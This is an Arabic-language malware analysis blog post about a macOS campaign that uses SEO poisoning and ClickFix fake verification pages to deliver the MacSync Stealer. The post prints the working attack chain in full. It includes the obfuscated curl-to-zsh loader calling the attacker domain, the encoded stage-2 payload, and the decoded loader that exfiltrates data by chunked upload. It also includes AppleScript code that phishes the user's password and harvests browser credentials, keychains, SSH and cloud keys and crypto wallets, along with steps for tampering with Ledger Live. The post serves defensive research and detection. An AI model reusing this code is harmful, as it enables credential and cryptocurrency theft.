إلى الخلف
ذكاء البرامج الضارة
جدول المحتوى

ملخص تنفيذي

حدد باحثو CloudSek سلسلة تسليم البرامج الضارة لنظام macOS متعددة المراحل للاستفادة من تسمم تحسين محركات البحث والهندسة الاجتماعية على غرار Clickfix لتوزيع برنامج ضار لسرقة المعلومات يطلق عليه اسم MacSync Stealer.

تبدأ الحملة بنتائج بحث ضارة تستهدف المستخدمين الذين يحاولون تنزيل إصدارات PDF من الكتب الشائعة. تتم إعادة توجيه الضحايا إلى صفحة تحقق مزيفة ترشدهم إلى تنفيذ أمر Terminal ضار. يقوم هذا الأمر بتشغيل أداة تحميل البرامج الضارة المرحلية التي تسترد حمولات إضافية من البنية التحتية التي يتحكم فيها المهاجم.

تقوم المرحلة النهائية بنشر سارق معلومات قائم على AppleScript قادر على جمع بيانات اعتماد المتصفح ومحافظ العملات المشفرة ومفاتيح SSH وملفات التكوين السحابي ومستندات المستخدم الحساسة. تقوم البرامج الضارة بضغط البيانات المجمعة وتسريبها إلى خادم الأوامر والتحكم.

وتتصاعد الحملة من خلال استهداف عمليات تثبيت Ledger Live وتعديل مكونات التطبيق لتمكين التلاعب بالمعاملات والاستمرار المالي على المدى الطويل.

التحليل

الوصول الأولي: تسمم تحسين محركات البحث

تبدأ سلسلة العدوى بالتسمم باستخدام مُحسّنات محرّكات البحث التي تستهدف المستخدمين الذين يبحثون عن إصدارات PDF قابلة للتنزيل من الكتب.

أثناء التحقيق، أدى استعلام البحث التالي إلى نتيجة ضارة:

كان طلب البحث الخاص بي بسيطًا:


"Inspired: How To Create Products Customers Love" filetype:pdf

من بين النتائج كان هناك مجال يبدو أنه يستضيف مستودعًا للوثائق الأكاديمية:


https://b.mou.ir/renhancef/84974J166D/vallocated/88983JD/inspired__how_to-create__products_customers-love__english-edition.pdf

للوهلة الأولى، بدا عنوان URL شرعيًا. تطابق اسم الملف مع عنوان الكتاب وكانت بنية المجال تشبه منصة استضافة المستندات النموذجية.

ومع ذلك، بدلاً من تسليم ملف PDF، تمت إعادة توجيه الرابط إلى:


https://allfile.me/loading/?t=Inspired%20%20How%20To%20Create%20%20Products%20Customers%20Love%20%20English%20Edition&s=Yi5tb3UuaXI

عرضت الصفحة شاشة تحقق بشرية مزيفة تحتوي على مؤقت للعد التنازلي وزر «أنا إنسان».

أدى تحديد خيار التحقق إلى إعادة توجيه المستخدمين إلى صفحة تعليمات تحمل عنوان macOS تطلب منهم فتح Terminal وتنفيذ أمر.

تتوافق هذه التقنية مع حملات ClickFix للهندسة الاجتماعية، حيث يقنع المهاجمون الضحايا بتنفيذ أوامر ضارة تحت ستار حل مشكلات التحقق أو التنزيل.

كانت الصفحة التي تستضيف الأمر موجودة في:


https://datacloudhost4.baby/?c=ADtxlGmPdgUAd4oCAElOOQASAAAAAADt

المرحلة 1 - المحمل الأولي (أمر غامض)

يُطلب من الضحايا تنفيذ الأمر التالي:

echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" &&curl -kfsSL $(echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vY2FsaWZvcm5pYXRpcmVzaG9wLmNvbS9jdXJsLzM4YzlkODlmODU2MzVkNjk1OTBiMDI4NjBjNWM3NTEyYzY2MTUzYjJkNDhmYTQzOTBkNTBmNDljOWYwNWIwMmV8enNo'|base64 -D)|zsh

يبدو الأمر شرعيًا. أول شيء تفعله هو تكرار سطر يشير إلى: https://apps.apple.com/...

لكن السلوك الحقيقي مخفي داخل السلسلة المشفرة Base64.

بمجرد فك الشفرة، فإنها تكشف:

echo 'Installing package please wait...' && curl -kfsSL http://bracesarlington.com/curl/0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de

يسحب الجزء الثاني بصمت نصًا عن بُعد من bracesarlington.com وتوصيلها مباشرة zsh للتنفيذ.

المرحلة 2 - نص غامض

يحتوي البرنامج النصي للمرحلة الثانية الذي تم استرداده من البنية التحتية للمهاجم على حمولة مضمنة مشفرة في Base64 ومضغوطة باستخدام gzip.

تشبه بنية البرنامج النصي ما يلي:

#!/bin/zsh
d23826=$(base64 -D <<'PAYLOAD_m117191906222546' | gunzip
H4sIABNPlGkAA91WW2/bNhR+9684VRVDasBIsuJLLmoadAEaFGmHpMGCdYVBiZRNWKY0kV4ct/3v
oyxZomQD28texheZhx+/cz/061dOyLizEfMewXSZ8mm84pFkKbds+N4DteiaRnDpEPqXw1dJ0sje
HpANOsIkjXACJF1ixgMjzHFEBc4Txmcy5SdRujQ0mEwXVKFcEtLR2fB0MIq8ASFkFIeeOxnSsT+Z
jM680zN35NHBhGBMvHA8pOGpSyj2fBqP/XBIqE6JMzZd0JfAGHpnLo29se97Ex+7JBr5cTga+P5w
HA9HZKRfillCA8ORy8xJBU7S2UzZe7JhWQliMXwF8zWgmQQXvl2AnFO+PSlWtMoTQAtAAhBa4jWS
bEnBd+GPGlIs9AGMR0FzdD2jXJ7DXbphSYKd4YkL1h2OGJepmF/ALZc0ASWAzw/wBJ479YbTsQ3X
WZbQ32j4kUln6I9P/JFxQINyHyn3z8GsAtEFGXMps3PHMcsUOeSF4yWLruSaBOY2H/3sWf30DPgB
Khgiylkmy3wngv5vvd53N2Za8q8AcXog+XTNJHhd/Fd4BSgGwywKSzH/KPai3n/rsuRUrnLe5ikr
8/2Hx08fpw+3v98EpmV5LrxRsRmcVh/b1qB310/T+5sv97c3D8FEk6+yJMVkypSnFsGSwvGRsJFp
pRnlQiSQY04AzekaJno3F1bTaJ6CeX/96ZfPd9XHbrWvxMlUsE1ZFs1WaRISyyIGR5va7Q55iYjg
qA6MrQUQFfcaxm0Q2wJE/ywS8u9jWV6O5iu+EEU0wWro4FgLNSDwbHB0SSvSLHC3u+e5shoUEYPL
FruCX6gZWNtUXkvjWFBZaGYqfw15xd0AtyRVIBtYDVIKSypldAOFt1oClAHQ77eILN1bVDHsqRar
SA1sUTnYyLGUdJnJwKvltfPVEVwGegkW6isyCAKVqE5IilU05TRKSWEdISrxwa5UQhF4IBYsC8zK
1ShdcRU7zd9WOXX6vVj6hHqCXx+/HMAgpDoCI/Ui4vwF3qFDkP98gu20/OMUKy2uh6036U7bLSCF
Ji4Hjp/BOPpeR/7nIR3daTlTU+MqXLGEaK+ENlbqn/0yPYwTug5M1m93nL5rTQO7ZUGRt2kxHFbq
zlXrqBwNpoaopoAqNrP2Sb3TqjrcPWki1ft0YGLs1q72vdZJ69XbLcuqqv742Lb3iRJKM1Ad56sO
3bXHGxh0oNVwKhZJeaNEeanaaq959mxuTboOoZoxtWk1eb7UXqWeRuH2fvaU1s4fQoV8Z0C/Ubx9
7NxeHZHq8YvZ32XCJlRVCgAA
PAYLOAD_m117191906222546
)
eval "$d23826"

يقوم البرنامج النصي بتنفيذ العمليات التالية:

  1. يقوم بفك تشفير حمولة Base64
  2. يقوم بفك ضغط المحتوى باستخدام gzip
  3. يخزن البرنامج النصي المعاد بناؤه في الذاكرة
  4. ينفذها ديناميكيًا باستخدام تقييم في الذاكرة.

يساعد هذا الأسلوب على تجنب الاكتشاف الثابت وإخفاء الوظيفة الحقيقية للحمولة حتى وقت التشغيل.

فك شفرة zsh برنامج نصي يشبه ما يلي:

#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="bracesarlington.com"
    local token="0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    local file="/tmp/osalogging.zip"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    if [[ ! -f "$file" || ! -s "$file" ]]; then
        return 1
 fi
    local CHUNK_SIZE=$((10 * 1024 * 1024))
    local MAX_RETRIES=8
    local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
    local total_size
    total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
    if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
        return 1
    fi
    local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
    local i=0
    while (( i < total_chunks )); do
        local offset=$((i * CHUNK_SIZE))
        local chunk_size=$CHUNK_SIZE
        (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
        local success=0
        local attempt=1
        while (( attempt <= MAX_RETRIES && success == 0 )); do
            http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
                curl -k -s -X PUT \
                --data-binary @- \
                -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
                -H "api-key: $api_key" \
                --max-time 180 \
                -o /dev/null \
                -w "%{http_code}" \
                "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
            curl_status=$?
            if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
                success=1
            else
                ((attempt++))
                sleep $((3 + attempt * 2))
            fi
        done
   if (( success == 0 )); then
            return 1
        fi
        ((i++))
    done
    rm -f "$file"
    return 0
}
if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

البرنامج النصي هو في الأساس أداة تحميل macOS مصممة لجلب التعليمات من خادم بعيد وتنفيذها من خلال AppleScript ثم سحب البيانات المجمعة مرة أخرى إلى المهاجم - كل ذلك أثناء التشغيل بصمت في الخلفية.

المرحلة 3 - حمولة برنامج MacSync AppleScript

يقوم البرنامج النصي المعاد بناؤه بتشغيل برنامج خفي للخلفية مسؤول عن:

  • استرداد التعليمات الإضافية من خادم الأوامر والتحكم
  • تنفيذ حمولات أبلسكريبت
  • تحميل البيانات المسروقة

يقوم اللودر باسترداد الحمولة التالية باستخدام طلب مشابه لما يلي:

curl -k -s \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
  -H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
"http://bracesarlington.com/dynamic?txd=0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de&pwd=PASSWORD" \
  -o stage3.applescript

تحتوي الاستجابة على البرامج الضارة الأساسية لـ AppleScript مسؤولة عن جمع البيانات.

جمع بيانات الاعتماد وجمع البيانات

يبدأ البرنامج النصي بإعداد دليل عمل مؤقت تحت /tmp/، وإنشاء اسم مجلد عشوائي لتجنب اكتشاف التوقيع بسهولة.

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"

ثم يحاول الحصول على كلمة مرور المستخدم. إذا تم تمرير كلمة المرور من مرحلة shell، فإنها تتحقق من صحتها باستخدام dscl. إذا لم يكن الأمر كذلك، فسيعرض مربع حوار نظام مزيف يطالب المستخدم «بإدخال كلمة المرور للمتابعة».

on checkvalid(username, password_entered)
        try
                set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
                if result is not equal to "" then
                        return false
                else
                        return true
                end if
        on error
                return false
        end try
end checkvalid

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk 
\"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
            return ""
        else
            repeat
                                set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

تتم كتابة كلمة المرور الملتقطة على القرص وتضمينها في الأرشيف الذي تم تسريبه.

استخراج بيانات اعتماد المتصفح

تقوم البرامج الضارة بتعداد أدلة ملفات تعريف المتصفح للمتصفحات المستندة إلى Chromium (Chrome و Brave و Edge و Opera و Arc وما إلى ذلك) والمتصفحات المستندة إلى Gecko (Firefox). يستهدف ملفات مثل:

  • بيانات تسجيل الدخول : بيانات الاعتماد المخزنة
  • ملفات تعريف الارتباط : ملفات تعريف الارتباط الخاصة بالجلسة النشطة
  • بيانات الويب : بيانات الملء التلقائي
  • key4.db : مفاتيح التشفير (Firefox)
  • تسجيل الدخول. json : بيانات الاعتماد المحفوظة
  • ملفات تعريف الارتباط.sqlite : تخزين جلسة فايرفوكس

كما يقوم أيضًا بالبحث عن معرفات ملحقات محددة تتوافق مع محافظ العملات المشفرة ويستخرج تخزين الإضافات المحلية وبيانات IndexedDB.

on Chromium(writemind, chromium_map)
        set pluginList to {}
    set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
    set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
    set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
    set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
    set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
    set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
    set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
    set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
    set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
    set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
    set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
    set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

        set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
   set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Network/Cookies") then
                                                        set CFile to "/Cookies"
                                                end if
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on ChromiumWallets(writemind, chromium_map)
        set pluginList to {}
        set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
        set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
        set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
        set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "pdliaogehgdbhbnmkklieghmmjkpigpa"}
        set pluginList to pluginList & {"mcohilncbfahbmgdjkbpemcciiolgcge", "hpglfhgfnhbgpjdenjgmdgoeiappafln"}
        set pluginList to pluginList & {"bhhhlbepdkbapadjdnnojkbgioiodbic", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
        set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
        set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
        set pluginList to pluginList & {"kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj"}
        set pluginList to pluginList & {"kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg"}
        set pluginList to pluginList & {"mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn"}
        set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "klghhnkeealcohjjanjjdaeeggmfmlpl"}
        set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
        set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}

        set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
                                                set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on Gecko(writemind, gecko_map)
        set geckoFiles to {"/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"}
        repeat with gecko in gecko_map
                set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
        try
                        set fileList to list folder item 2 of gecko without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) contains "Profile") or ((currentItem as string) contains ".default") then
                                        set profileName to (item 1 of gecko & currentItem)
                                        repeat with CFile in geckoFiles
                                                set readpath to (item 2 of gecko & currentItem & CFile)
                                                set writepath to savePath & currentItem & CFile
                                                readwrite(readpath, writepath)
                                        end repeat
                                end if
                        end repeat
        end try
    end repeat
end Gecko

استهداف محفظة العملات المشفرة

تستهدف البرامج الضارة على وجه التحديد ملحقات محفظة العملات المشفرة المستندة إلى المتصفح من خلال تعداد أدلة تخزين الإضافات وبيانات IndexedDB.

بالإضافة إلى ذلك، فإنه ينسخ أدلة محفظة سطح المكتب مباشرة مثل إكسودوس، إليكترم، أتوميك، جواردا، كوينومي، سبارو، واسابي، بيتكوين كور، وغيرها.

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}

حصاد البيانات الإضافية

بالإضافة إلى بيانات المتصفح والمحفظة، تجمع البرامج الضارة أيضًا:

  • سلاسل مفاتيح ماك
  • ~/.ssh مفاتيح
  • ~/.aws بيانات الاعتماد
  • ~/.kube التكوينات
  • ملفات تاريخ شل (.zsh_التاريخ، .bash_التاريخ)
  • .gitconfig
  • كوكيز سفاري
  • قواعد بيانات آبل نوتس
  • بيانات جلسة تيليجرام لسطح المكتب
on Telegram(writemind, library)
                try
                        GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
                end try
end Telegram

on Keychains(writemind)
                try
                        do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
                end try
end Keychains
on CloudKeys(writemind)
                try
                        do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
                end try
end CloudKeys

readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")

يقوم أيضًا بإجراء عملية انتزاع ملف مستهدفة من سطح المكتب والمستندات والتنزيلات، ويبحث تحديدًا عن ملحقات مثل: .pdf، .docx، .wallet، .key، .keys، .seed، .kdbx، .pem، .ovpn

on FilegrabberFDA(writemind, profile)
        set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
        mkdir(destinationFolderPath)
        try

                set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
                set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}

                repeat with src in sourceFolders
                        repeat with ext in extensionsList
                                try
                                        set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
                                        do shell script shellCmd
                                end try
                        end repeat
                end repeat

        end try
        try
                readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
                readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
                readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
        end try
        try
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")

        end try

end Filegrabber

استخراج البيانات

يتم ضغط البيانات المجمعة في أرشيف:


/tmp/osalogging.zip

يتم تحميل الأرشيف إلى خادم الأوامر والتحكم باستخدام طلبات HTTP PUT المقسمة، مما يتيح النقل الموثوق لمجموعات البيانات الكبيرة.

بعد عملية الاستخراج الناجحة، يتم حذف الأرشيف لإزالة الأدلة المحلية.

من وجهة نظر الضحية، يفشل التثبيت ببساطة ويعرض الرسالة التالية:


Your Mac does not support this application. Try reinstalling or downloading the version for your system.

try
        do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
        do shell script "rm -rf /tmp/sync*"
end try

display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}

من وجهة نظر الضحية، فشل المثبت ببساطة.

في الواقع، تم بالفعل أرشفة بيانات الاعتماد وملفات تعريف الارتباط وبيانات المحفظة ومفاتيح SSH والتكوينات السحابية وتفاصيل النظام ونقلها.

المرحلة النهائية: التلاعب بمحفظة العملات المشفرة والتلاعب بعد التسوية

تتجاوز الحملة سرقة البيانات من خلال محاولة تعديل تطبيقات محفظة العملات المشفرة.

تتحقق البرامج الضارة من وجود Ledger Live في:


/Applications/Ledger Live.app

في حالة اكتشافها، تقوم البرامج الضارة بتنزيل الملفات التي يتحكم فيها المهاجم من:

https://bracesarlington.com/ledger/live/<token>

يستبدل الأرشيف الذي تم تنزيله مكونات التطبيق الداخلية مثل:

app.asar
Info.plist

بعد التعديل، تتم إعادة توقيع التطبيق باستخدام:


codesign -f -s -

الخاتمة

توضح هذه الحملة كيف يمكن للهندسة الاجتماعية البسيطة جنبًا إلى جنب مع تسليم الحمولة المرحلية أن تؤدي إلى اختراق النظام بالكامل على macOS.

في غضون ثوانٍ من تنفيذ أمر Terminal واحد، قد يقوم الضحايا دون علمهم بالكشف عن بيانات الاعتماد ومحافظ العملات المشفرة والتكوينات السحابية والبيانات الحساسة الأخرى.

يشير التلاعب الإضافي في برامج محفظة العملات المشفرة إلى أن الهدف يمتد إلى ما وراء سرقة بيانات الاعتماد نحو الثبات المالي والتلاعب بالمعاملات.

الملحق

رابط مستودع جيثب: https://github.com/m1r3dk/macsync-stealer-analysis

مؤشرات التسوية (IOCs)

النطاقات

  • bracesarlington.com
  • داتا كلاود هوست 4.baby
  • allfile.me
  • ب.mou.ir

ملفات

  • /tmp/osalogging.zip
  • /tmp/المزامنة *

الرؤوس

  • مفتاح واجهة برمجة التطبيقات: 5190ef1733183a0dc63fb623357f56d6

⚠️ إخلاء المسؤولية عن البحث

يتم توفير هذا التحليل والمستودع المصاحب بشكل صارم لأغراض البحث الدفاعي والهندسة العكسية وتطوير الكشف.

كانت جميع البنية التحتية الضارة المشار إليها في هذه المقالة نشطة أثناء التحليل وقد تظل تشكل خطرًا. لا تقم بتنفيذ أي عينات خارج بيئة المختبر الخاضعة للرقابة.

كيشان لال
Cyber Security researcher focused on analyzing emerging threats and understanding how modern attacks operate. Passionate about simplifying complex security concepts into clear, practical insights.
لم يتم العثور على أية عناصر.

مدونات ذات صلة